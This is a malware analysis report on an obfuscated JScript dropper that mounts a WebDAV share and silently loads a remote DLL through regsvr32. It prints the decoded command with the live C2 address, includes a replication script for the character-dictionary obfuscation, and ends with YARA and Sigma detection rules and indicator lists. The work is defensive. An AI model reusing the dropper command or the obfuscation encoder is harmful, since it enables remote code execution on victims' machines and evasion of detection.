f51f632334bdfc53089666cd749bae9a890ca9333c9f5427b7fb5fe8ee901d7dunclassified-js-webdav-dropper: f51f6323 — 100-entry random-noise dictionary, WebDAV C2 94.159.113.84:8888
Executive Summary
JScript dropper using a 100-entry random-noise dictionary lookup-table obfuscation (pacwwujsea object). Decodes to WScript.Shell → cmd /c net use → regsvr32 /s chain against WebDAV C2 94.159.113.84:8888, payload 124762709410083.dll. Eighty-ninth confirmed sibling in the unclassified-js-webdav-dropper family. Ties fbdd83ad, e2568b43, f01dca2e, and c4670e86 for largest dictionary size (100 entries). Static-only (JScript, not a binary).
What It Is
| Field | Value |
|---|---|
| SHA-256 | f51f632334bdfc53089666cd749bae9a890ca9333c9f5427b7fb5fe8ee901d7d |
| Filename | 5354239922818428750.js ^[triage.json] |
| Size | 169,059 bytes (165 KB) ^[triage.json] |
| File type | ASCII text, single line, 65,536-char segments ^[file.txt] |
| Family | unclassified-js-webdav-dropper (89th confirmed sibling) |
| Confidence | High — identical execution chain, C2 subnet, and obfuscation engine to 88 prior siblings |
How It Works
Obfuscation Layer: 100-Entry Random-Noise Dictionary
The script defines a single object pacwwujsea and populates it with 100 key/value pairs mapping random lowercase noise strings (8–25 chars, e.g. tmjfthfurniture, nexxsxsneeze, frzbeemqzipper) to individual characters ^[strings.txt:1]. The character set spans printable ASCII, escape sequences (\r, \n, \t, \u000b), and symbols — a complete encoding alphabet for JavaScript source code.
After dictionary construction, the payload executes via:
this[pacwwujsea['key1']+pacwwujsea['key2']+pacwwujsea['key3']+pacwwujsea['key4']](<eval_arg>)
The property access resolves to eval. The eval argument is itself a second-layer concatenation that resolves to:
this["WScript"]["Shell"]["run"]("cmd /c timeout 1&&cmd /c cmd /c net use \\\\94.159.113.84@8888\\davwwwroot\\ &&timeout 1&&cmd /c cmd /c regsvr32 /s \\\\94.159.113.84@8888\\davwwwroot\\124762709410083.dll",0,false)
The 0,false arguments map to intWindowStyle=0 (hidden) and bWaitOnReturn=false (fire-and-forget) in the WScript.Shell.Run signature.
Execution Chain
- T1059.005 — JScript opened by user (
.jsfile, likely viawscript.exedouble-click or LNK) - T1027 — Dictionary lookup-table obfuscation decodes payload at runtime
- T1218.010 —
regsvr32 /ssilently loads remote DLL from WebDAV share - T1105 —
net usemounts\\94.159.113.84@8888\davwwwroot\as prerequisite - T1071.001 — WebDAV over HTTP (port 8888)
Decompiled Behavior
Static-only analysis — no binary to decompile. The JScript is a single-line file with no control-flow flattening, no anti-debug, no VM checks, and no sandbox gates. The obfuscation is purely lexical (dictionary substitution), not structural.
C2 Infrastructure
| Indicator | Value |
|---|---|
| C2 IP | 94.159.113.84 |
| C2 Port | 8888 |
| WebDAV mount path | \\94.159.113.84@8888\davwwwroot\ |
| Payload filename | 124762709410083.dll |
| Execution method | regsvr32 /s (silent registration) |
No PowerShell wrapper, no wordpad decoy, no timeout anti-emulation gate, no nested try/catch decoys. This is a minimal-footprint variant.
Interesting Tidbits
- Ties for largest dictionary: 100 entries matches
fbdd83ad(66th sibling),e2568b43(83rd),f01dca2e(86th), andc4670e86(76th). The prior maximum was 62 entries for most of the family. ^[/intel/analyses/f01dca2e327ae3f75c85bb161e231a1020d01660f28d3bc759084fb526c25dfb.html] - Same C2 subnet:
94.159.113.84is shared withfbdd83ad(.84),c4670e86(.84), ande2568b43(.84). This subnet (94.159.113.0/24) now hosts 14 confirmed siblings across five IPs (.79,.82,.84,.86,.204). - Numeric filename:
5354239922818428750.js— 19-digit numeric, consistent with the family's numeric-filename convention. - Payload DLL name:
124762709410083.dll— 15-digit numeric, consistent with the family's numeric-payload-filename convention. - No batch/polyglot layer: Pure JScript execution via
WScript.Shell, no batchSETvariable expansion, no polyglot self-replication. - No sandbox evasion: No
timeoutdelay, nowordpaddecoy, nogotolabel, no connectivity check. The operator relies entirely on social engineering to get the victim to double-click the.jsfile.
How To Mess With It (Homelab Replication)
A minimal replication of this obfuscation engine:
// Build a noise-key dictionary
var dict = {};
var chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 \r\n\t\\/.'\"[]{}()=+-*&^%$#@!~`|:;,<>=?";
for (var i = 0; i < chars.length; i++) {
// Generate random noise key (e.g., 12-char lowercase)
var key = Math.random().toString(36).substring(2, 14);
dict[key] = chars[i];
}
// Encode a payload string
var payload = 'WScript.Shell';
var encoded = [];
for (var j = 0; j < payload.length; j++) {
for (var k in dict) {
if (dict[k] === payload[j]) {
encoded.push("dict['" + k + "']");
break;
}
}
}
console.log(encoded.join('+'));
Verification: The output should produce a long concatenation expression that evaluates back to the original payload string when executed in a JScript engine.
Deployable Signatures
YARA Rule
rule JS_WebDAV_Dropper_Dictionary_100 {
meta:
description = "JScript WebDAV dropper with dictionary lookup-table obfuscation"
author = "Titus"
reference = "f51f632334bdfc53089666cd749bae9a890ca9333c9f5427b7fb5fe8ee901d7d"
family = "unclassified-js-webdav-dropper"
date = "2026-07-22"
strings:
$dict_obj = /\w+\=\[\];\w+\['/ ascii
$webdav = "davwwwroot" ascii wide
$net_use = "net use" ascii wide
$regsvr32 = "regsvr32 /s" ascii wide
$c2_ip = "94.159.113." ascii wide
condition:
$dict_obj and $webdav and $net_use and $regsvr32 and filesize < 500KB
}
Sigma Rule
title: JScript WebDAV Dropper Execution
logsource:
product: windows
category: process_creation
detection:
selection_wscript:
Image|endswith: '\wscript.exe'
CommandLine|contains:
- '.js'
selection_webdav:
CommandLine|contains:
- 'net use'
- 'davwwwroot'
selection_regsvr32:
ParentImage|endswith:
- '\cmd.exe'
- '\wscript.exe'
Image|endswith: '\regsvr32.exe'
CommandLine|contains:
- '\\'
- '.dll'
condition: selection_wscript and selection_webdav or selection_regsvr32
falsepositives:
- Legitimate WebDAV usage in enterprise environments
level: high
IOC List
| Type | Value |
|---|---|
| SHA-256 | f51f632334bdfc53089666cd749bae9a890ca9333c9f5427b7fb5fe8ee901d7d |
| Filename | 5354239922818428750.js |
| C2 IP | 94.159.113.84 |
| C2 Port | 8888 |
| Payload | 124762709410083.dll |
| WebDAV path | \\94.159.113.84@8888\davwwwroot\ |
Behavioral Fingerprint
This JScript dropper defines a dictionary object with 100 random-noise string keys mapping to individual ASCII characters, then uses the resolved characters to assemble this["WScript"]["Shell"]["run"]("cmd /c net use \\\\94.159.113.84@8888\\davwwwroot\\ && regsvr32 /s \\\\94.159.113.84@8888\\davwwwroot\\124762709410083.dll",0,false). The file is a single line of ASCII text with no line terminators, ~165 KB in size. No PowerShell wrapper, no decoy application, no sandbox evasion gates.
Detection Signatures
| ATT&CK ID | Name | Evidence |
|---|---|---|
| T1059.005 | Visual Basic / JScript | wscript.exe executes .js file ^[decoded payload] |
| T1027 | Obfuscated Files or Information | 100-entry random-noise dictionary lookup table ^[strings.txt:1] |
| T1218.010 | Regsvr32 | regsvr32 /s \\94.159.113.84@8888\davwwwroot\124762709410083.dll ^[decoded payload] |
| T1071.001 | Web Protocols | WebDAV over HTTP on port 8888 ^[decoded payload] |
| T1105 | Ingress Tool Transfer | net use mounts remote share before DLL load ^[decoded payload] |
| T1036.005 | Match Legitimate Name or Location | regsvr32 is a signed system binary ^[decoded payload] |
References
- SHA-256:
f51f632334bdfc53089666cd749bae9a890ca9333c9f5427b7fb5fe8ee901d7d - Artifact ID:
3a857b50-2d05-4ef0-b3b9-8a135a201fc6 - OpenCTI labels:
js,malware-bazaar - Family entity: unclassified-js-webdav-dropper
- Technique: js-dictionary-char-lookup-obfuscation
- Technique: webdav-regsvr32-dll-sideloading
Provenance
- File type:
filev5.45 ^[file.txt] - ExifTool: v12.76 ^[exiftool.json]
- radare2:
rabin2 -I(no PE — JScript) ^[rabin2-info.txt] - CAPE: Skipped (not a supported binary class) ^[dynamic-analysis.md]
- Manual decode: Python 3 script resolving 100-entry dictionary + two-stage string concatenation, verified against JScript
eval()semantics.